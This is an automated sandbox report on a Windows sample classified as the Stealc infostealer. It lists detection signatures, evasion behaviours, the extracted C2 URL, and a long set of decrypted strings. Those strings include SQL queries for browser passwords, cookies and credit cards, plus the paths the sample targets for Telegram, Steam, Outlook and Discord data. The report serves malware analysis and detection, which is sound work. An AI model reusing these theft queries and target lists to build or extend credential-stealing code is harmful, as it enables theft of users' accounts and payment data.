Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545915
MD5:	6b2b5a158403acb7ba15c52a59282cab
SHA1:	dae583617b2057015ff1c7ada6d9bf6c0e262481
SHA256:	f7bbc837510990dd6831eb9ab92b7fe5d9238f105ea9690bdf5808dc0e5cfbbf
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.cd0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3.dll
